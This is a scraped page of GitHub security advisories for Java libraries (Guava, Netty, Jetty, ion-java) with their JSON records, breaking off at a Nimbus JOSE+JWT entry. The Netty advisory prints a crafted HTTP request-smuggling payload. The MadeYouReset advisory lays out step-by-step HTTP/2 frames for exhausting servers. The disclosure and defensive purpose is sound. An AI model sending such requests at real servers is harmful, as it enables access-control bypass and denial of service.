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      "url": "https://lists.apache.org/thread.html/33c6bccfeb7adf644d4d79894ca8f09370be6ed4b20632c2e228d085@%3Ccommits.cassandra.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/3d5dbdd92ac9ceaef90e40f78599f9109f2f345252e0ac9d98e7e084@%3Cgitbox.activemq.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f@%3Cdev.drill.apache.org%3E"
    },
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      "url": "https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442@%3Cdev.drill.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/cc48fe770c45a74dc3b37ed0817393e0c96701fc49bc431ed922f3cc@%3Chdfs-dev.hadoop.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@%3Cissues.drill.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ff8dcfe29377088ab655fda9d585dccd5b1f07fabd94ae84fd60a7f8@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb@%3Cdev.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb@%3Cuser.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1041707"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in Google Guava"
}

GHSA-FGHV-69VJ-QJ49

Vulnerability from github – Published: 2025-09-04 17:35 – Updated: 2025-09-10 20:48

Summary

Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions

Details

Summary

A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.

Details

When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the RFC).

This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):

POST /one HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0

POST /two HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

0

The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see this Portswigger article).

Impact

This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.

The impact is high, but it only affects setups that use a front-end which: 1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. 2. Forwards chunk extensions without normalization.

Disclosure

This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html

Discussion

Discussion for this vulnerability can be found here: - https://github.com/netty/netty/issues/15522 - https://github.com/JLLeitschuh/unCVEed/issues/1

Credit

Credit to @JeppW for uncovering this vulnerability.
Credit to @JLLeitschuh at Socket for coordinating the vulnerability disclosure.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.125.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.5.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-04T17:35:20Z",
    "nvd_published_at": "2025-09-03T21:15:33Z",
    "severity": "LOW"
  },
  "details": "## Summary\nA flaw in netty\u0027s parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.\n\n## Details\nWhen encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)).\n\nThis is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):\n\n```\nPOST /one HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n48;\\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n0\n\nPOST /two HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n0\n\n```\n\nThe intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)).\n\n## Impact\nThis is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.\n\nThe impact is high, but it only affects setups that use a front-end which:\n1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.\n2. Forwards chunk extensions without normalization.\n\n## Disclosure\n\n - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html\n\n## Discussion\nDiscussion for this vulnerability can be found here:\n - https://github.com/netty/netty/issues/15522\n - https://github.com/JLLeitschuh/unCVEed/issues/1\n\n## Credit\n\n - Credit to @JeppW for uncovering this vulnerability.\n - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure.",
  "id": "GHSA-fghv-69vj-qj49",
  "modified": "2025-09-10T20:48:05Z",
  "published": "2025-09-04T17:35:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-fghv-69vj-qj49"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58056"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JLLeitschuh/unCVEed/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/issues/15522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/6092"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/pull/15611"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/edb55fd8e0a3bcbd85881e423464f585183d1284"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/06/18/funky-chunks.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions"
}

GHSA-7G45-4RM6-3MM3

Vulnerability from github – Published: 2023-06-14 18:30 – Updated: 2025-11-04 16:44

Summary

Guava vulnerable to insecure use of temporary directory

Details

Use of Java's default temporary directory for file creation in FileBackedOutputStream in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class.

Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows.

Severity ?

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.guava:guava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0"
            },
            {
              "fixed": "32.0.0-android"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-2976"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-379",
      "CWE-552"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-14T21:01:07Z",
    "nvd_published_at": "2023-06-14T18:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Use of Java\u0027s default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class.\n\nEven though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows.",
  "id": "GHSA-7g45-4rm6-3mm3",
  "modified": "2025-11-04T16:44:26Z",
  "published": "2023-06-14T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2976"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/issues/2575"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/issues/6532"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/commit/feb83a1c8fd2e7670b244d5afd23cba5aca43284"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/google/guava"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/releases/tag/v32.0.0"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230818-0008"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241108-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01006.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Guava vulnerable to insecure use of temporary directory"
}

GHSA-G8M5-722R-8WHQ

Vulnerability from github – Published: 2024-10-14 21:08 – Updated: 2025-11-03 22:49

Summary

Eclipse Jetty's ThreadLimitHandler.getRemote() vulnerable to remote DoS attacks

Details

Impact

Remote DOS attack can cause out of memory

Description

There exists a security vulnerability in Jetty's ThreadLimitHandler.getRemote() which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory.

Affected Versions

Jetty 12.0.0-12.0.8 (Supported)
Jetty 11.0.0-11.0.23 (EOL)
Jetty 10.0.0-10.0.23 (EOL)
Jetty 9.3.12-9.4.55 (EOL)

Patched Versions

Jetty 12.0.9
Jetty 11.0.24
Jetty 10.0.24
Jetty 9.4.56

Workarounds

Do not use ThreadLimitHandler.
Consider use of QoSHandler instead to artificially limit resource utilization.

References

Jetty 12 - https://github.com/jetty/jetty.project/pull/11723

Severity ?

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.0.8"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.23"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.0.23"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.0.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.4.55"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.3.12"
            },
            {
              "fixed": "9.4.56"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-8184"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-14T21:08:38Z",
    "nvd_published_at": "2024-10-14T16:15:04Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nRemote DOS attack can cause out of memory \n\n### Description\nThere exists a security vulnerability in Jetty\u0027s `ThreadLimitHandler.getRemote()` which\ncan be exploited by unauthorized users to cause remote denial-of-service (DoS) attack.  By\nrepeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the\nserver\u0027s memory.\n\n### Affected Versions\n\n* Jetty 12.0.0-12.0.8 (Supported)\n* Jetty 11.0.0-11.0.23 (EOL)\n* Jetty 10.0.0-10.0.23 (EOL)\n* Jetty 9.3.12-9.4.55 (EOL)\n\n### Patched Versions\n\n* Jetty 12.0.9\n* Jetty 11.0.24\n* Jetty 10.0.24\n* Jetty 9.4.56\n\n### Workarounds\n\nDo not use `ThreadLimitHandler`.  \nConsider use of `QoSHandler` instead to artificially limit resource utilization.\n\n### References\n\nJetty 12 - https://github.com/jetty/jetty.project/pull/11723",
  "id": "GHSA-g8m5-722r-8whq",
  "modified": "2025-11-03T22:49:11Z",
  "published": "2024-10-14T21:08:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-g8m5-722r-8whq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8184"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/pull/11723"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jetty/jetty.project"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignement/-/issues/30"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/04/msg00001.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Eclipse Jetty\u0027s ThreadLimitHandler.getRemote() vulnerable to remote DoS attacks"
}

GHSA-264P-99WQ-F4J6

Vulnerability from github – Published: 2024-01-03 22:04 – Updated: 2025-11-04 16:48

Summary

Ion Java StackOverflow vulnerability

Details

Impact

A potential denial-of-service issue exists in ion-java for applications that use ion-java to:

Deserialize Ion text encoded data, or
Deserialize Ion text or binary encoded data into the IonValue model and then invoke certain IonValue methods on that in-memory representation.

An actor could craft Ion data that, when loaded by the affected application and/or processed using the IonValue model, results in a StackOverflowError originating from the ion-java library.

Impacted versions: <1.10.5

Patches

The patch is included in ion-java >= 1.10.5.

Workarounds

Do not load data which originated from an untrusted source or that could have been tampered with. Only load data you trust.

If you have any questions or comments about this advisory, we ask that you contact AWS/Amazon Security via our vulnerability reporting page [1] or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.

[1] https://aws.amazon.com/security/vulnerability-reporting

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.amazon.ion:ion-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.10.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "software.amazon.ion:ion-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-21634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-03T22:04:08Z",
    "nvd_published_at": "2024-01-03T23:15:08Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA potential denial-of-service issue exists in\u00a0`ion-java`\u00a0for applications that use\u00a0`ion-java`\u00a0to:\n\n* Deserialize Ion text encoded data, or\n* Deserialize Ion text or binary encoded data into the\u00a0`IonValue`\u00a0model and then invoke certain\u00a0`IonValue`\u00a0methods on that in-memory representation.\n\nAn actor could craft Ion data that, when loaded by the affected application and/or processed using the\u00a0`IonValue`\u00a0model, results in a\u00a0`StackOverflowError`\u00a0originating from the\u00a0`ion-java`\u00a0library.\n\nImpacted versions: \u003c1.10.5\n\n### Patches\n\nThe patch is included in `ion-java` \u003e= 1.10.5.\n\n### Workarounds\n\nDo not load data which originated from an untrusted source or that could have been tampered with. **Only load data you trust.**\n\n----\n\nIf you have any questions or comments about this advisory, we ask that you contact AWS/Amazon Security via our vulnerability reporting page [1] or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.\n\n[1] https://aws.amazon.com/security/vulnerability-reporting",
  "id": "GHSA-264p-99wq-f4j6",
  "modified": "2025-11-04T16:48:17Z",
  "published": "2024-01-03T22:04:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/amazon-ion/ion-java/security/advisories/GHSA-264p-99wq-f4j6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21634"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/amazon-ion/ion-java"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241108-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ion Java StackOverflow vulnerability"
}

GHSA-PRJ3-CCX8-P6X4

Vulnerability from github – Published: 2025-08-13 19:06 – Updated: 2025-11-05 20:38

Summary

Netty affected by MadeYouReset HTTP/2 DDoS vulnerability

Details

Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.”

MadeYouReset Vulnerability Summary

The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.

Mechanism

The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: 1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) 2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) 3. PRIORITY frame with a length other than 5. (section 6.3) From our experience, the primitives are likely to exist in the decreasing order listed above. Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0.

The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled.

Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM.

Attack Flow

For example, a possible attack scenario can be: 1. Attacker opens an HTTP/2 connection to the server. 2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X.
3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. 4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1).

The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent)

Comparison to Rapid Reset

The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM.

Suggested Mitigations for MadeYouReset

A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error.

As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.

If you have any questions, we will be happy to clarify or schedule a Zoom call.

Gal, Anat and Yaniv.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.3.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.4.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.123.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.124.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.grpc:grpc-netty-shaded"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.75.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-13T19:06:56Z",
    "nvd_published_at": "2025-08-13T15:15:39Z",
    "severity": "HIGH"
  },
  "details": "Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as \u201cMadeYouReset.\u201d\n\n### MadeYouReset Vulnerability Summary\nThe MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.\n\n### Mechanism\nThe vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). \nThe vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are:\n1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1)\n2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it\u0027s possible a CONTINUATION frame to trigger that as well - but it\u0027s very rare). (Section 5.1)\n3. PRIORITY frame with a length other than 5. (section 6.3)\nFrom our experience, the primitives are likely to exist in the decreasing order listed above.\nNote that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we\u2019ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0.\n\nThe vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. \nWhile the protocol does not count those streams as active, the server\u2019s backend logic still processes and handles the requests that were canceled.\n\nThus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM.\n\n### Attack Flow\nFor example, a possible attack scenario can be: \n1. Attacker opens an HTTP/2 connection to the server.\n2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X.  \n3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0.\n4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1).\n\nThe attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server.\nThis leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent)\n\n### Comparison to Rapid Reset\nThe vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors.\nThe Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5.\nRapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM.\n\n### Suggested Mitigations for MadeYouReset\nA quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server.\nIt is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error.\n\nAs mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.\n\n\nIf you have any questions, we will be happy to clarify or schedule a Zoom call.\n\nGal, Anat and Yaniv.",
  "id": "GHSA-prj3-ccx8-p6x4",
  "modified": "2025-11-05T20:38:22Z",
  "published": "2025-08-13T19:06:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-prj3-ccx8-p6x4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55163"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-java/commit/6462ef9a11980e168c21d90bbc7245c728fd1a7a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/be53dc3c9acd9af2e20d0c3c07cd77115a594cf1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/767506"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/08/16/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty affected by MadeYouReset HTTP/2 DDoS vulnerability"
}

GHSA-GVPG-VGMX-XG6W

Vulnerability from github – Published: 2024-02-11 06:30 – Updated: 2024-10-30 21:32

Summary

Denial of Service in Connect2id Nimbus JOSE+JWT

Details

